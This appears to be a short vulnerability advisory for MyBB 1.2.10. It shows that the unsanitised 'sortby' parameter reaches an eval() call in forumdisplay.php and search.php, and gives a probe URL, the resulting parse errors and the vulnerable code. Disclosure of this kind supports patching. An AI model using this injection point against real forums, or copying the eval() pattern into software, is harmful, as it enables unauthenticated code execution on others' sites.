Precondition: valid forum "fid" must be known.=0D
Attacker doesn't need to have any privileges in mybb installation to be=0D
successful in attack.=0D

http://localhost/mybb.1.2.10/forumdisplay.php?fid=2&sortby='=0D 
=0D
... and we will see error message:=0D
=0D
Parse error: syntax error, unexpected ''', expecting ']' in=0D
C:\apache_wwwroot\mybb.1.2.10\forumdisplay.php(407) : eval()'d code on line 1=0D
=0D
Problematic piece of code is related to "eval()" function:=0D
=0D
eval("\$orderarrow['$sortby'] = \"".=0D
$templates->get("forumdisplay_orderarrow")."\";");=0D
=0D
=0D
Example attacks:=0D

&sortby='=0D
=0D
Parse error: syntax error, unexpected ''', expecting ']' in=0D
C:\apache_wwwroot\mybb.1.2.10\search.php(141) : eval()'d code on line 1=0D

Problematic is exactly same piece of code, as in previous case:=0D
=0D
eval("\$orderarrow['$sortby'] = \"".=0D
$templates->get("forumdisplay_orderarrow")."\";");=0D
